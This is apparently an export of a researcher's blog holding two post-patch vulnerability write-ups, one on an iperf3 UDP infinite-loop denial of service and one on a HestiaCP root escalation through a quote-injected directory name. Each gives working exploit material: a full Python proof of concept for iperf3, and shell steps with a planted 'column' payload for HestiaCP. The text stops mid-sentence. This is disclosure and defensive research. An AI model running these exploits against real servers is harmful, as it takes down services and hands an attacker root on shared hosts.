[{"content":" CVE-2026-102253 · iperf3 \u0026gt;= 3.14, \u0026lt; 3.22 · CWE-835 → CWE-400 · CVSS 4.0 8.7 High (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) · Fixed in iperf3 3.22 · Coordinated through VulnCheck. Official record: cve.org/CVE-2026-102253 · vendor release 3.22 · VulnCheck advisory\nTL;DR iperf3 is the network throughput tool everyone reaches for — iperf3 -s on one box, iperf3 -c on another, read the bandwidth number. It runs on routers, in CI pipelines, on lab servers, and on a surprising number of internet-facing hosts people spin up \u0026ldquo;just to run a quick test\u0026rdquo; and forget about.\nI found that an iperf3 server, in its default configuration, can be frozen solid by an unauthenticated attacker with one small control message and one 16-byte UDP packet. No credentials, no valid test, no memory corruption — just a number set to zero in the right place, which turns the server\u0026rsquo;s receive loop into an infinite loop. The affected thread pins a CPU core at ~100% and never comes back; the process has to be SIGKILLed. One packet, and your iperf3 server is a space heater.\nAffected: iperf3 (esnet/iperf), versions 3.14 through 3.21 Fixed in: iperf3 3.22 — upgrade is the fix Impact: Unauthenticated remote denial of service — CVSS 4.0 8.7 High Root cause: a loop stride taken from attacker-controlled input, with a validation gap that lets that stride be 0 Weakness: CWE-835 (Loop with Unreachable Exit Condition) → CWE-400 (Uncontrolled Resource Consumption) Why iperf3\u0026rsquo;s server is an interesting target iperf3 has a client and a server, and they speak a small custom protocol over a TCP control channel (default port 5201) before any measurement happens. The client connects, the two sides exchange a JSON blob of test parameters — protocol (TCP or UDP), block size, duration, parallelism, and so on — and then the actual data test runs over TCP or UDP.\nThe thing to notice is that the server trusts the client to describe the test. Those parameters aren\u0026rsquo;t just hints; they configure buffer sizes and loop bounds in the server\u0026rsquo;s own data path. That\u0026rsquo;s fine when the peer is a real iperf3 client — but nothing stops a peer from being a few dozen lines of Python that speak the wire protocol directly and send parameter values a real client never would.\nThat gap — \u0026ldquo;values a real client never sends, but the server still accepts\u0026rdquo; — is exactly where this bug lives.\nThe bug The loop When the server receives UDP data, it walks the receive buffer one datagram at a time in iperf_udp_recv() (src/iperf_udp.c). The loop advances by a stride called dgram_sz:\n// src/iperf_udp.c (abridged) while (buf_sz \u0026gt;= dgram_sz \u0026amp;\u0026amp; dgram_buf + dgram_sz \u0026lt;= dgram_buf_end) { if (buf_sz \u0026lt; min_pkt_size) // min_pkt_size == 12 break; /* ... parse the 12/20-byte packet header ... */ dgram_buf += dgram_sz; // advance by the stride buf_sz -= dgram_sz; // consume the stride } Read the loop with dgram_sz == 0 in mind. If the stride is zero:\ndgram_buf += 0 — the pointer never moves. buf_sz -= 0 — the remaining-bytes counter never shrinks. The only early break fires when buf_sz \u0026lt; 12 — but buf_sz never changes, so if it started at ≥ 12 it stays there forever. Every condition that could end the loop depends on progress the loop never makes. Enter it once with at least 12 bytes in the buffer and a stride of zero, and it spins forever at 100% CPU. That\u0026rsquo;s textbook CWE-835 — a loop whose exit condition is unreachable.\nSo the whole bug reduces to one question: can an attacker make dgram_sz zero? dgram_sz comes straight from the negotiated block size (blksize), which comes straight from the client\u0026rsquo;s len parameter. So: can the client set len to 0 for a UDP test?\nThe validation gap It\u0026rsquo;s supposed to be impossible. iperf3 validates blksize after parsing the parameters, in get_parameters() (src/iperf_api.c). Here\u0026rsquo;s the check:\n// src/iperf_api.c (abridged) if ((test-\u0026gt;protocol-\u0026gt;id != Pudp \u0026amp;\u0026amp; test-\u0026gt;settings-\u0026gt;blksize \u0026lt;= 0) // non-UDP: rejects 0 || test-\u0026gt;settings-\u0026gt;blksize \u0026gt; MAX_BLOCKSIZE) { i_errno = IEBLOCKSIZE; return -1; } if (test-\u0026gt;protocol-\u0026gt;id == Pudp \u0026amp;\u0026amp; (test-\u0026gt;settings-\u0026gt;blksize \u0026gt; 0 \u0026amp;\u0026amp; // \u0026lt;-- the bug (test-\u0026gt;settings-\u0026gt;blksize \u0026lt; MIN_UDP_BLOCKSIZE || test-\u0026gt;settings-\u0026gt;blksize \u0026gt; MAX_UDP_BLOCKSIZE))) { i_errno = IEUDPBLOCKSIZE; return -1; } Look at the two branches:\nThe non-UDP branch rejects blksize \u0026lt;= 0 outright. Good. The UDP branch range-checks blksize… but only \u0026ldquo;when blksize \u0026gt; 0\u0026rdquo;. The entire UDP validation is guarded by blksize \u0026gt; 0, so when blksize is exactly 0, the range check is skipped — and the non-UDP branch above doesn\u0026rsquo;t apply to UDP. blksize == 0 sails through both checks for UDP. The parse step earlier only rejects negative values (len \u0026lt; 0), so len: 0 is accepted and stored. A genuine iperf3 client never sends this — when you run iperf3 -c host -u -l 0, the client resolves 0 to a concrete size from the path MTU before it ever hits the wire (iperf_client_api.c). The zero only survives if the peer is speaking the protocol by hand. Which an attacker is.\nGetting to the loop with bytes in the buffer There\u0026rsquo;s one more hop. With blksize == 0, the plain UDP read path asks the socket for 0 bytes, gets 0 back, and returns early — safe. You need the receive buffer to actually contain data while the stride stays zero.\nUDP GRO (Generic Receive Offload) does exactly that. If the parameters also set gro: 1 with a positive gro_bf_size, the receive size is taken from gro_bf_size instead of blksize (src/iperf_udp.c), so the server reads up to gro_bf_size bytes into the buffer — while dgram_sz is still derived from blksize == 0. UDP_GRO is a standard, unprivileged socket option on modern Linux. That\u0026rsquo;s the combination: buffer non-empty, stride zero, loop infinite.\nA dead end worth recording: I initially expected skip_rx_copy + MSG_TRUNC to be a second trigger. It isn\u0026rsquo;t — iperf_new_stream() allocates the stream buffer with mmap(NULL, blksize, …), and mmap of size 0 fails with EINVAL before the stream (and its receive thread) is ever created. So the non-GRO path kills itself early. Only the GRO path reaches the loop — I verified this experimentally rather than assuming it, which mattered, because the \u0026ldquo;obvious\u0026rdquo; trigger would have made for a false report.\nThis is not a prior-CVE rerun iperf3 had a cluster of security fixes shortly before this (CVE-2025-54349 / 54350 / 54351) covering iperf_auth.c and a --skip-rx-copy buffer overflow in net.c. This is a distinct code path and a distinct root cause — a liveness bug in the UDP receive loop, not a memory-safety bug — so none of those fixes touch it.\nImpact On a default iperf3 -s, one crafted exchange plus one 16-byte UDP datagram pins the per-stream receive thread at ~100% CPU permanently. The test never completes, the server can\u0026rsquo;t clean the connection up on its own, and — as the official advisory notes — the process doesn\u0026rsquo;t respond to normal control-channel closure and has to be killed with SIGKILL.\nBecause iperf3 -s serves one test at a time by default, that single packet takes the whole server down until a human intervenes. Point the trigger at each core\u0026rsquo;s worth of workers and you exhaust the host. It\u0026rsquo;s a clean availability denial of service: no data is read or altered, nothing is corrupted — the server is simply gone. That\u0026rsquo;s why it scores confidentiality/integrity None, availability High → CVSS 4.0 8.7.\nProof of concept The PoC is a standalone Python 3 script — no iperf3 client binary required. It speaks the control protocol directly: cookie, parameter exchange, stream creation, then one malicious UDP datagram.\nRun this only against a server you own, on an isolated host. It will hang the target until you SIGKILL it.\nTerminal 1 — start a vulnerable server (any 3.14–3.21 build):\n./src/iperf3 -s -p 5201 Terminal 2 — fire the PoC:\npython3 poc_udp_dos.py \u0026lt;server-ip\u0026gt; 5201 The crafted parameter message is just this JSON, length-prefixed on the control channel:\n{\u0026#34;udp\u0026#34;:true,\u0026#34;len\u0026#34;:0,\u0026#34;gro\u0026#34;:1,\u0026#34;gro_bf_size\u0026#34;:1000,\u0026#34;omit\u0026#34;:0,\u0026#34;time\u0026#34;:10,\u0026#34;parallel\u0026#34;:1} len:0 is the zero stride; gro:1 + gro_bf_size:1000 is what keeps bytes flowing into the buffer. After reaching TEST_RUNNING, the script sends one UDP datagram of 16 bytes, and the server never speaks again:\n[*] Server state -\u0026gt; 9 (PARAM_EXCHANGE) [*] Sending crafted params: {\u0026#39;udp\u0026#39;: True, \u0026#39;len\u0026#39;: 0, \u0026#39;gro\u0026#39;: 1, \u0026#39;gro_bf_size\u0026#39;: 1000, ...} [*] Server state -\u0026gt; 10 (CREATE_STREAMS) [*] UDP connect reply: 36373839 [*] Server state -\u0026gt; 1 [*] Server state -\u0026gt; 2 (TEST_RUNNING) [*] Sending ONE malicious UDP datagram (16 bytes, dgram_sz=0 -\u0026gt; infinite loop) [+] Control channel produced no further data for 15s after the single trigger datagram Confirm it independently with top -H -p \u0026lt;server-pid\u0026gt; — the receive thread sits at 99.9% CPU and accumulates CPU time without bound (I watched it climb for 65+ seconds of wall-clock with no recovery). Reproduced 3/3 against freshly started servers.\nFull proof-of-concept source The complete script — no third-party dependencies, standard library only. Save it as poc_udp_dos.py and run python3 poc_udp_dos.py \u0026lt;server-ip\u0026gt; [port] against a server you control.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-102253: iperf3 unauthenticated pre-auth infinite-loop / CPU-exhaustion DoS CWE-835 (Loop with Unreachable Exit Condition) -\u0026gt; CWE-400 (Uncontrolled Resource Consumption) CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 HIGH CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 HIGH Affected: iperf3 server (`iperf3 -s`), versions 3.14 through 3.21. Fixed in 3.22. Component: src/iperf_udp.c:iperf_udp_recv(), src/iperf_api.c:get_parameters() Root cause ---------- The UDP receive loop in iperf_udp_recv() advances by `dgram_sz`, which is taken directly from the client-supplied \u0026#34;len\u0026#34; (blksize) control parameter: while (buf_sz \u0026gt;= dgram_sz \u0026amp;\u0026amp; dgram_buf + dgram_sz \u0026lt;= dgram_buf_end) { ... dgram_buf += dgram_sz; buf_sz -= dgram_sz; } get_parameters() (src/iperf_api.c) validates blksize with two checks: if ((test-\u0026gt;protocol-\u0026gt;id != Pudp \u0026amp;\u0026amp; test-\u0026gt;settings-\u0026gt;blksize \u0026lt;= 0) || test-\u0026gt;settings-\u0026gt;blksize \u0026gt; MAX_BLOCKSIZE) { reject } if (test-\u0026gt;protocol-\u0026gt;id == Pudp \u0026amp;\u0026amp; (test-\u0026gt;settings-\u0026gt;blksize \u0026gt; 0 \u0026amp;\u0026amp; (test-\u0026gt;settings-\u0026gt;blksize \u0026lt; MIN_UDP_BLOCKSIZE || ...))) { reject } For UDP the range check is only applied *when blksize is already \u0026gt; 0*, so blksize == 0 sails through both checks. A genuine iperf3 client never sends len=0 for UDP (it resolves 0 to the path MTU beforehand in iperf_client_api.c), so this requires a custom/raw client -- not achievable by user error, only by a party who can reach the control port. With dgram_sz == 0 and gro=1 (any positive gro_bf_size), a single UDP datagram of \u0026gt;= 12 bytes causes iperf_udp_recv()\u0026#39;s loop to spin forever: dgram_buf/buf_sz never change, and none of the loop\u0026#39;s break conditions can fire. The server\u0026#39;s per-stream receive thread pins one CPU core at 100% and never returns -- an unauthenticated, single-packet, remote CPU-exhaustion DoS. (The alternate skip_rx_copy/MSG_TRUNC path described in initial review does NOT reach the loop: iperf_new_stream() mmaps a buffer of size blksize, and mmap(NULL, 0, ...) fails with EINVAL before the stream is even created. The GRO path avoids this because gro_bf_size keeps the mmap\u0026#39;d buffer non-zero while blksize/dgram_sz stays 0.) This PoC speaks the iperf3 control-channel protocol directly (no iperf3 client binary needed) to reach TEST_RUNNING, then sends one crafted UDP datagram and demonstrates the server thread never completes / pins a core. Usage: python3 poc_udp_dos.py \u0026lt;server-ip\u0026gt; [port] \u0026#34;\u0026#34;\u0026#34; import socket import struct import sys import time COOKIE_SIZE = 37 PARAM_EXCHANGE = 9 CREATE_STREAMS = 10 TEST_START = 1 TEST_RUNNING = 2 UDP_CONNECT_MSG = 0x36373839 # little-endian native value, matches iperf.h on LE hosts def send_json(sock, obj): import json body = json.dumps(obj).encode() sock.sendall(struct.pack(\u0026#34;!I\u0026#34;, len(body)) + body) def read_state(sock): b = sock.recv(1) if not b: raise RuntimeError(\u0026#34;control channel closed\u0026#34;) return b[0] def main(): if len(sys.argv) \u0026lt; 2: print(f\u0026#34;usage: {sys.argv[0]} \u0026lt;server-ip\u0026gt; [port]\u0026#34;) sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 5201 print(f\u0026#34;[*] Connecting to iperf3 control port {host}:{port}\u0026#34;) ctrl = socket.create_connection((host, port), timeout=10) cookie = (\u0026#34;poc-dos-\u0026#34; + \u0026#34;x\u0026#34; * (COOKIE_SIZE - 8))[:COOKIE_SIZE].encode() assert len(cookie) == COOKIE_SIZE ctrl.sendall(cookie) state = read_state(ctrl) print(f\u0026#34;[*] Server state -\u0026gt; {state} (expect {PARAM_EXCHANGE}=PARAM_EXCHANGE)\u0026#34;) assert state == PARAM_EXCHANGE # Malicious params: UDP test, len(blksize)=0, gro=1 (GRO path). # Server defaults to RECEIVER mode, i.e. it will call iperf_udp_recv() # on datagrams *we* send it. # # Note: the skip_rx_copy (MSG_TRUNC) path described as an alternate # trigger fails earlier, during stream buffer setup (iperf_new_stream() # does mmap(NULL, blksize, ...) which errors out with EINVAL when # blksize==0), so the GRO path is what actually reaches iperf_udp_recv() # -- gro_bf_size keeps the mmap\u0026#39;d buffer non-zero-sized while blksize # (dgram_sz) stays 0. params = { \u0026#34;udp\u0026#34;: True, \u0026#34;len\u0026#34;: 0, \u0026#34;gro\u0026#34;: 1, \u0026#34;gro_bf_size\u0026#34;: 1000, \u0026#34;omit\u0026#34;: 0, \u0026#34;time\u0026#34;: 10, \u0026#34;parallel\u0026#34;: 1, } print(f\u0026#34;[*] Sending crafted params: {params}\u0026#34;) send_json(ctrl, params) state = read_state(ctrl) print(f\u0026#34;[*] Server state -\u0026gt; {state} (expect {CREATE_STREAMS}=CREATE_STREAMS)\u0026#34;) assert state == CREATE_STREAMS print(\u0026#34;[*] Opening UDP data socket and sending UDP \u0026#39;connect\u0026#39; handshake\u0026#34;) udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp.settimeout(5) udp.connect((host, port)) udp.send(struct.pack(\u0026#34;\u0026lt;I\u0026#34;, UDP_CONNECT_MSG)) reply = udp.recv(4) print(f\u0026#34;[*] UDP connect reply: {reply.hex()}\u0026#34;) for _ in range(20): state = read_state(ctrl) print(f\u0026#34;[*] Server state -\u0026gt; {state}\u0026#34;) if state == TEST_RUNNING: break print(\u0026#34;[*] Sending ONE malicious UDP datagram (16 bytes, dgram_sz=0 -\u0026gt; infinite loop)\u0026#34;) payload = b\u0026#34;\\x00\u0026#34; * 16 t0 = time.time() udp.send(payload) print(\u0026#34;[*] Datagram sent. Server receive thread should now be spinning at 100% CPU.\u0026#34;) print(\u0026#34;[*] Verifying: control channel should now be unresponsive (no further state changes).\u0026#34;) ctrl.settimeout(15) try: b = ctrl.recv(1) print(f\u0026#34;[!] Unexpected: control channel still responsive, got {b!r} \u0026#34; f\u0026#34;after {time.time()-t0:.1f}s -- server may not be vulnerable / already patched.\u0026#34;) except socket.timeout: print(f\u0026#34;[+] Control channel produced no further data for 15s after the single \u0026#34; f\u0026#34;trigger datagram ({time.time()-t0:.1f}s total) -- consistent with the \u0026#34; f\u0026#34;receive thread being wedged in an infinite loop.\u0026#34;) print(\u0026#34;[+] Confirm independently with `top`/`perf top` on the server host: \u0026#34; \u0026#34;one core should be pinned at ~100% CPU by the iperf3 process, \u0026#34; \u0026#34;persisting indefinitely (until iperf3 is killed).\u0026#34;) ctrl.close() udp.close() if __name__ == \u0026#34;__main__\u0026#34;: main() The script does four things in sequence: sends the 37-byte cookie the protocol expects, sends the malicious parameter JSON (len: 0, gro: 1), opens the UDP data socket and completes its connect handshake, then sends exactly one 16-byte UDP datagram once the server reaches TEST_RUNNING. Everything after that is verification — it watches the control channel to confirm the server has gone silent, which is the observable signature of the receive thread being wedged in the infinite loop.\nThe fix The vendor fixed it in iperf3 3.22 — upgrading is the remediation. If you run an iperf3 server anywhere reachable by untrusted hosts, update to 3.22 or later.\nThe fix matches what the root-cause analysis points at, and it\u0026rsquo;s worth noting there are two independent places to stop this — defense in depth:\nValidate the input. In get_parameters(), drop the blksize \u0026gt; 0 gate on the UDP range check so blksize == 0 (and any non-positive value) is rejected for UDP, exactly as the non-UDP branch already does. This closes the door at the boundary. Don\u0026rsquo;t trust the stride. In iperf_udp_recv(), treat dgram_sz \u0026lt;= 0 as a hard error before the loop. Even if a zero stride ever reached the loop through some other path, the loop still couldn\u0026rsquo;t spin. This makes the loop correct regardless of how its inputs were set. The first fix is the specific patch; the second is the one that makes the bug class impossible. Good fixes do both — close the hole and make the dangerous primitive safe.\nIf you operate iperf3 servers Upgrade to 3.22+. That\u0026rsquo;s the real fix. Don\u0026rsquo;t leave iperf3 -s exposed to untrusted networks. It\u0026rsquo;s a testing tool, not a hardened service — bind it to the interface you actually test over, and firewall the control port (5201) off from the public internet. The --authorized-users option (pre-shared RSA auth) blocks this, since the attacker never gets to the parameter exchange — but it\u0026rsquo;s not the default, and \u0026ldquo;turn on auth\u0026rdquo; is a weaker answer than \u0026ldquo;upgrade.\u0026rdquo; Disclosure timeline 2026-07-15 — Vulnerability found and confirmed with a local PoC. 2026-09 — Reported for coordinated disclosure through VulnCheck (CNA); CVE reserved 2026-09-28. 2026-09-29 — CVE-2026-102253 published; fix released in iperf3 3.22. Credited as finder on the CVE record; VulnCheck coordinated. Thanks to the esnet/iperf maintainers for the fix and to VulnCheck for handling coordination.\nTakeaways A loop stride is a security boundary. The moment a loop advances by a value an attacker can influence, zero (and negative) are inputs you have to reason about — not edge cases, attack cases. while (remaining \u0026gt;= stride) with a controllable stride is a CWE-835 waiting to happen. Guard clauses that are themselves guarded are a classic gap. The whole UDP range check was wrapped in blksize \u0026gt; 0, so the one value that needed rejecting — 0 — was the one value the guard excused. When you write if (x \u0026gt; 0 \u0026amp;\u0026amp; out_of_range(x)) reject, you\u0026rsquo;ve quietly decided x == 0 is always fine. Make sure it is. Verify the trigger, don\u0026rsquo;t assume it. The first exploitation path I thought of (skip_rx_copy) looked right and was wrong — the mmap(0) failure killed it before the loop. Building the actual PoC, rather than reasoning about it on paper, is what separated a real finding from a plausible-sounding false one. — Ravindu Lakmina Munaweera\n","permalink":"https://ravindulakmina.pages.dev/advisories/iperf3-udp-infinite-loop-dos/","summary":"A single crafted parameter message and one 16-byte UDP datagram pin an iperf3 server\u0026rsquo;s receive thread at 100% CPU forever — unauthenticated, no valid test session. Fixed in iperf3 3.22.","title":"One UDP Packet to Freeze an iperf3 Server: CVE-2026-102253"},{"content":"If you run a website, there\u0026rsquo;s a decent chance the server underneath it is managed by a control panel — something that turns \u0026ldquo;SSH in and edit nginx configs by hand\u0026rdquo; into a web dashboard where you create a domain, click a button, and it\u0026rsquo;s live. HestiaCP is one of the more popular open-source options for that: free, actively maintained, and used on a huge number of shared and VPS hosting boxes.\nWhich is exactly why it caught my attention. A control panel like this has one very specific job that makes it a great security research target: it deliberately gives low-privilege, unprivileged users a controlled way to do things that normally require root — create domains, manage DNS, issue SSL certs, restart services. All of that has to be brokered safely between \u0026ldquo;random signed-up user\u0026rdquo; and \u0026ldquo;root,\u0026rdquo; usually through a stack of shell scripts running under sudo.\nAny crack in that broker, and a completely ordinary account — the kind anyone gets the moment they sign up, no admin rights, no special config — can walk straight through to root.\nThat\u0026rsquo;s exactly what I found. And the part that makes it sting is how little it took: a single quote character in a folder name.\nTL;DR Any standard \u0026ldquo;user\u0026rdquo;-role HestiaCP account can become root on the box, using nothing but features available to their own account — no admin interaction, no waiting on a cron job, no race condition, no social engineering. Just:\nMake a directory with a specially crafted name. Point your own domain\u0026rsquo;s document root at it (a normal, documented feature). Use your own account\u0026rsquo;s Search bar. That\u0026rsquo;s it. Root shell.\nThe bug was reported through HestiaCP\u0026rsquo;s GitHub Security Advisory process, confirmed by the maintainers, and fixed in HestiaCP 1.10.5. It\u0026rsquo;s rated CVSS 9.9 Critical, and a CVE has been requested and is pending assignment. You can read the published advisory here: GHSA-r9q4-pmcm-5qqf.\nHow I found it HestiaCP has had a genuinely good security year — several critical advisories landed in the months before I started looking, all fixed quickly and credited properly. That\u0026rsquo;s usually a sign a project is \u0026ldquo;over-audited\u0026rdquo; and not worth the time. But I\u0026rsquo;ve learned that a recent fix is sometimes more interesting than a clean history, because a patch tells you exactly what the maintainer was worried about — and exactly where they might have stopped one function short.\nTwo advisories stood out while I was reading through HestiaCP\u0026rsquo;s commit history:\nGHSA-cr7q (July 2026) removed a raw eval from the panel\u0026rsquo;s search functionality and replaced it with a safer-looking parser function. GHSA-xffx (August 2026) went further and added a reserved variable name blacklist to a config-parsing function called source_conf() — specifically to stop an attacker from smuggling in variable names like PATH or LD_PRELOAD through a config file. That second one is the interesting bit. Whenever a fix adds a blacklist to one function, my first question is always: are there sibling functions that do the exact same thing and never got the same fix?\nThere were. HestiaCP\u0026rsquo;s core shell library, func/main.sh, has more than one function that reads a key='value' key='value' style config line and turns it back into live shell variables. source_conf() got the blacklist. Its two siblings — parse_object_kv_list_non_eval() and a PHP re-implementation, _parse_object_kv_list_php() — did not. Both still happily do the shell equivalent of \u0026ldquo;take whatever variable name is in this file and just declare it,\u0026rdquo; with only a check that the name looks like a valid identifier, never a check on which identifier it is.\nThat\u0026rsquo;s a real gap. But a gap only matters if an attacker can actually get a poisoned variable name into that config file in the first place. So I went looking for the write side.\nThe bug, in plain terms The vulnerability is really two separate small mistakes that, chained together, add up to full root compromise.\nFlaw #1 — the write side doesn\u0026rsquo;t escape single quotes HestiaCP stores per-user data (domains, document roots, DNS zones, etc.) in flat config files that look like this:\nDOMAIN=\u0026#39;example.com\u0026#39; IP=\u0026#39;203.0.113.10\u0026#39; CUSTOM_DOCROOT=\u0026#39;/home/user/web/example.com/public_html\u0026#39; TPL=\u0026#39;default\u0026#39; SUSPENDED=\u0026#39;no\u0026#39; Every field is wrapped in single quotes. When a script updates one field — say, when you change your custom document root — it goes through a function called update_object_value(). That function does escape a few dangerous characters in the new value before writing it: backslashes, ampersands, forward slashes. It does not escape single quotes.\nThat matters because v-change-web-domain-docroot — the script behind the panel\u0026rsquo;s \u0026ldquo;set a custom document root for my domain\u0026rdquo; feature — takes your input and passes it straight into that function with zero validation on its content. It only checks that the path you give it actually exists on disk and lives inside your own domain folder. It never checks what characters are in the name.\nOn Linux, a directory name can legally contain a single quote, a space, and an equals sign. Only / and the null byte are actually forbidden. So this is a perfectly ordinary, mkdir-able directory name:\nfoo\u0026#39; PATH=\u0026#39;/tmp/evilbin Set that as your custom document root, and the config writer dutifully writes it straight into your web.conf, unescaped:\nDOMAIN=\u0026#39;example.com\u0026#39; ... CUSTOM_DOCROOT=\u0026#39;.../public_html/foo\u0026#39; PATH=\u0026#39;/tmp/evilbin\u0026#39; TPL=\u0026#39;default\u0026#39; ... Look closely at what just happened. That single quote inside the folder name closed the CUSTOM_DOCROOT field early. Everything after it — PATH='/tmp/evilbin' — is no longer part of CUSTOM_DOCROOT. It\u0026rsquo;s now a brand new, independently named field, sitting in the config file looking exactly as legitimate as TPL or SUSPENDED right next to it.\nI didn\u0026rsquo;t inject code. I didn\u0026rsquo;t break out of any sandbox. I just used a filename character the validator forgot to check for.\nFlaw #2 — the read side re-parses that line and blindly declares every field it sees That corrupted line just sits there until some other part of the panel reads it back. And plenty of scripts do — search, listing, cert renewal, cache management. They all eventually pass the line through parse_object_kv_list_non_eval(), which pulls out every key='value' pair it can find and does, in effect:\ndeclare -g $obj_key=\u0026#34;$obj_val\u0026#34; for each one. The only check it runs is that $obj_key looks like a legal variable name (letters, digits, underscores). It never checks which name. There\u0026rsquo;s no blacklist for PATH, IFS, LD_PRELOAD, or anything else that a shell treats specially — the exact protection its sibling function source_conf() got three weeks earlier and this one didn\u0026rsquo;t.\nSo when that function encounters the corrupted line, it dutifully runs declare -g PATH=/tmp/evilbin — inside a script that is, at that exact moment, running as root.\nThe trigger — your own Search bar Here\u0026rsquo;s the part that turns this from \u0026ldquo;theoretically bad\u0026rdquo; into \u0026ldquo;one click from any account\u0026rdquo;: the script that re-parses the corrupted line and clobbers PATH is v-search-user-object. It\u0026rsquo;s invoked by web/search/index.php — the code behind the panel\u0026rsquo;s ordinary Search feature — for every logged-in user searching their own data, no admin flag required. And like essentially every panel action in HestiaCP, it runs through a blanket, passwordless sudo rule (hestiaweb ALL=(ALL) NOPASSWD:/usr/local/hestia/bin/*), so it executes as root the instant you search.\nA few lines later in that same script, after the PATH clobber has already taken effect, it calls an external command — column — without a full path:\ncolumn -t -s \u0026#39;~\u0026#39; Normally that resolves column from a safe system directory. But the process\u0026rsquo;s PATH no longer points there. It points at /tmp/evilbin, because I just told it to. Drop an executable named column in that directory, and the moment the search runs, the root process resolves it from my folder and runs my code — as root.\nNo prompt. No confirmation. No delay. I search my own domain, and root code execution happens as a side effect.\nProof of concept I confirmed this end-to-end against a real, freshly built HestiaCP v1.10.4 instance (built from the exact vulnerable source, commit 4048078), inside a disposable container, using only an unprivileged testuser account — no root access used at any point except the automatic escalation the bug itself causes.\nStep 1 — plant the malicious directory, as a normal user:\nDOCROOT_BASE=\u0026#34;/home/testuser/web/example.test/public_html\u0026#34; mkdir -p \u0026#34;$DOCROOT_BASE/foo\u0026#39; PATH=\u0026#39;/tmp/pwned\u0026#34; Step 2 — point the domain\u0026rsquo;s document root at it (exactly what the panel UI does):\nv-change-web-domain-docroot testuser example.test example.test \u0026#34;foo\u0026#39; PATH=\u0026#39;/tmp/pwned\u0026#34; Checking the resulting web.conf confirmed the corruption exactly as predicted:\nCUSTOM_DOCROOT=\u0026#39;/home/testuser/web/example.test/public_html/foo\u0026#39; PATH=\u0026#39;/tmp/pwned\u0026#39; Step 3 — plant the payload where the hijacked PATH now points, still as testuser, zero root access:\nmkdir -p /tmp/pwned cat \u0026gt; /tmp/pwned/column \u0026lt;\u0026lt;\u0026#39;PAYLOAD\u0026#39; #!/bin/bash { echo \u0026#34;PWNED: column executed as $(id) at $(date)\u0026#34;; id; } \u0026gt;\u0026gt; /tmp/PWNED_PROOF 2\u0026gt;\u0026amp;1 PAYLOAD chmod +x /tmp/pwned/column Step 4 — trigger my own account\u0026rsquo;s ordinary Search feature:\nv-search-user-object testuser example.test shell Result:\n$ cat /tmp/PWNED_PROOF PWNED: column executed as uid=0(root) gid=0(root) groups=0(root) at Tue Sep 8 17:37:09 UTC 2026 uid=0(root) gid=0(root) groups=0(root) $ ls -la /tmp/PWNED_PROOF -rw-r--r-- 1 root root 185 Sep 8 17:37 /tmp/PWNED_PROOF A file created entirely by an unprivileged account, executed as uid=0, the instant that account used a completely ordinary feature of its own dashboard. As a bonus signal that the PATH hijack was total, several of the script\u0026rsquo;s own internal commands (grep, sed, tr) also briefly failed to resolve during the same run — independent confirmation that the process\u0026rsquo;s search path had genuinely been replaced, not just partially influenced.\nI also built a smaller, standalone verification that extracts the two vulnerable functions verbatim from HestiaCP\u0026rsquo;s real source and exercises just the write-then-reparse mechanism in isolation, without needing a full panel install — useful for anyone who wants to sanity-check the core bug in about ten seconds:\nConfig line AFTER update: DOMAIN=\u0026#39;example.com\u0026#39; ... CUSTOM_DOCROOT=\u0026#39;.../public_html/foo\u0026#39; PATH=\u0026#39;/tmp/altbin\u0026#39; TPL=\u0026#39;default\u0026#39; SUSPENDED=\u0026#39;no\u0026#39; [MATCH] single-quote in the new value was written through unescaped, splitting one field into two PATH before re-parsing: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PATH after re-parsing: /tmp/altbin [MATCH] parsing a single config line reassigned PATH in the calling shell Both proofs — the live install and the isolated mechanism check — reproduced consistently across repeated runs.\nWhy this is Critical, not \u0026ldquo;just a local bug\u0026rdquo; It\u0026rsquo;s easy to undersell privilege escalation bugs because they \u0026ldquo;need an account first.\u0026rdquo; Two things make this one different:\nThe account requirement is trivial. This isn\u0026rsquo;t an admin-only bug or something that needs elevated permissions to begin with — it\u0026rsquo;s the exact access level every single signup gets, on a panel whose entire purpose is letting untrusted-ish customers manage their own hosting. On any shared-hosting box running HestiaCP, that\u0026rsquo;s every single tenant. The escalation is fully self-service and near-instant. No admin interaction, no waiting for a scheduled job, no race window to win. Create a folder, set a document root, search. Three steps, all standard, documented panel functionality. That\u0026rsquo;s why the assigned CVSS vector reflects the worst case: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — network-reachable, low complexity, low privileges required, no user interaction needed, scope-changed (an unprivileged tenant account breaks out to control the entire host, not just their own resources), and full impact across confidentiality, integrity, and availability. That\u0026rsquo;s a 9.9 out of 10.\nOn a shared HestiaCP server, this isn\u0026rsquo;t \u0026ldquo;one account gets compromised.\u0026rdquo; It\u0026rsquo;s \u0026ldquo;any one paying customer can take over every other customer\u0026rsquo;s websites and data on that same box, plus the host operator\u0026rsquo;s own infrastructure.\u0026rdquo;\nThe fix I proposed two complementary fixes, and HestiaCP shipped both in 1.10.5:\nEscape single quotes on write. update_object_value() already escapes backslash, ampersand, and forward-slash before writing a new value into a config file — it just needs to add single quote to that list (or route the value through the project\u0026rsquo;s existing %quote% substitution pattern, which several other write paths already use). Blacklist reserved variable names on read. parse_object_kv_list_non_eval() and its PHP twin needed the same reserved-name check that source_conf() already received a few weeks earlier. This is the more durable fix, since it protects every current and future caller of those shared parsing functions — not just this one specific chain. I flagged fix #2 as the one worth prioritizing, precisely because the first bug I found was a sibling of an already-patched one. If only the write-side escaping gets fixed, the next unescaped write path someone finds reopens the exact same door.\nA quick word on responsible disclosure I reported this privately through HestiaCP\u0026rsquo;s GitHub Security Advisory process (the channel their own SECURITY.md asks for), with a full technical writeup, working reproduction steps, and a suggested fix — not a public issue, not a tweet, not a blog post first. The maintainers reviewed it, confirmed it, and shipped a patch in 1.10.5 before any of this went public. This post, and the published advisory itself, only exist because that process ran its course. A CVE ID has been requested through GitHub and is pending assignment.\nIf you maintain open source and you\u0026rsquo;re reading this: thank you for taking security reports seriously and shipping a fix quickly. That\u0026rsquo;s not something to take for granted.\nLessons, for other researchers and 